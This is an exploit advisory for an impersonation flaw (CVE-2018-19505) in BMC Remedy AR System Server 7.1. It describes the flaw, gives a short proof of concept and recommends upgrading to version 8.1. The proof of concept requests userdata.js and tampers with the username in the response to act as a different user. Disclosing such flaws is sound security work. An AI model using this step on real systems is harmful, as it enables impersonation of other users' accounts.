An impersonation issue in BMC Remedy version 7.1 may lead to incorrect user context in Remedy AR System Server.
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# Exploit Title: Impersonation may lead to incorrect user context in Remedy
AR System Server in BMC Remedy 7.1
# Date: 23-11-2018
# Exploit Author: Rafael Pedrero
# Vendor Homepage: http://www.bmc.com/
# Software Link: http://www.bmc.com/
# Version: Impersonation may lead to incorrect user context in Remedy AR
System Server in BMC Remedy 7.1
# Tested on: all
# CVE : 1CVE-2018-19505
# Category: webapps
1. Description
Remedy AR System Server in BMC Remedy 7.1 may fail to set the correct user
context in certain impersonation scenarios, which can allow a user to act
with the identity of a different user.
2. Proof of Concept
Impersonation may lead to incorrect user context in Remedy AR System Server
in BMC Remedy 7.1.
Go to WorkOrderConsole:
In Request:
/WOI:WorkOrderConsole/Default+User+View+(Support)/userdata.js?winname=SERVERWOIWOI+WORKOrderConsole12345643244
(last values can change)
In response change the user value in function
UserData_Init(){ARKWSetup(2,"USERNAME_TO_CHANGE","....more values).
3. Solution:
Update to the latests version Remedy AR System Server in BMC Remedy 8.1.
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